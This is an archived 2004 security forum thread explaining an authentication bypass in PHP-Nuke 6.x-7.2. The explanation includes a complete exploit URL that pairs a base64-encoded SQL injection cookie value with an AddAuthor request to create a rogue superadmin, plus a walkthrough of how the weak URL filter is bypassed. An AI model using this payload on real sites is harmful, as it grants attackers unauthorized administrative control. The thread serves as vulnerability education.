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Remote Code Execution (CVSS 9.2) IT Security and Insecurity Portal www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Admin-level authentication bypass in phpnuke 6.x-7.2 View previous topic :: View next topic Admin-level authentication bypass in phpnuke 6.x-7.2 Posted: Sun May 23, 2004 8:46 am $t3 Regular user Joined: May 19, 2004 Posts: 15 hum i have 1 problem... i dont hunderstand how to get this code: eCcgVU5JT04gU0VMRUNUIDEvKjox the full string is admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox ** is in this tutorial ** Code: http://www.waraxe.us/?modname=sa&id=018 Sorry for my bad english! thanx man My Explanation Posted: Sun May 23, 2004 9:15 am icenix Advanced user Joined: May 13, 2004 Posts: 106 Location: Australia My field is basically Security in all but PHP Isnt really my thing (but im learning) Basically its because of Code: $admintest = 0; if(isset($admin) && $admin != "") { $admin = base64_decode($admin); $admin = explode(":", $admin); $aid = "$admin[0]"; $pwd = "$admin[1]"; because $admin base64_decodes itself... he "Constructs" a base64 message which is "x'%20OR/*:y" which ends up to be "eCcgT1IvKjp5" the second bit he goes onto explain is the filter that PHPNuke uses to filter out naughty commands from users who try and hack something which is Code: if (preg_match("/\?admin/", "$checkurl")) { echo "die"; exit; that truly sucks because as he said its very limited.. ie. All it blocks is: Code: http://localhost.com/admin.php* (note the wildcard which means everything after it. so how he bypasses this is by adding something totaly useless. therefore. Code: http://localhost.com/admin.php?foo=bar&admin=eCcgT1IvKjp5 then the message Code: "Selection from database failed!" basically just proves his point that theres an SQL Injection here and he just didnt parse any commands... Code: http://localhost.com/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1 is the code that admins use for adding a user and making him an admin...just all in 1 string... Code: x'%20UNION%20SELECT%201/*:1 which after base64 encoding gives us "eCcgVU5JT04gU0VMRUNUIDEvKjox" is just used for bypassing the auth.. it can be done because of a flaw in the script specifically: Code: $pwd = "$admin[1]"; where it pulls the cookie from the user. it has a [1] after it... and by "comparing the two strings" it gives us an OK. ((Basically its saying...is there a 1 there? if so...authentication is ok)) so now that we have bypassed our admin login.. we can pretty much do whatever we want.. so instead of passing commands through a modified "online" cookie why not just add us a user? I really hope i helped and waraxe could explain this better give me some feedback on how i went explaining this hehe PHP Isnt really my thing yet How did i go Janek??? if im totaly wrong i will just delete my post.. i dont want to confuse anyone im learning here too _________________ =[WWW.WARAXE.US]= -Forum Rules Posted: Sun May 23, 2004 1:39 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Yes, icenix, you are right with your answers. By the way - i will make publicly available base64encoder/decoder and md5 hasher, so anyone can play with those php functions without actual need for php programming. Stay tuned! thanx :) Posted: Sun May 23, 2004 6:37 pm $t3 Regular user Joined: May 19, 2004 Posts: 15 base64encoder/decoder and md5 hasher COOL thanx icenix thanx waraxe Posted: Tue May 25, 2004 10:30 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Base64 encoder is located here: http://base64-encoder-online.waraxe.us/base64/base64-encoder.php Decoder and md5 hasher will be finalized in near future. And HowTo tutorial about phpnuke cookie handcrafting is here: http://www.waraxe.us/forum/viewtopic.php?t=61 Admin-level authentication bypass in phpnuke 6.x-7.2 www.waraxe.us Forum Index -> Cross-site scripting aka XSS You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

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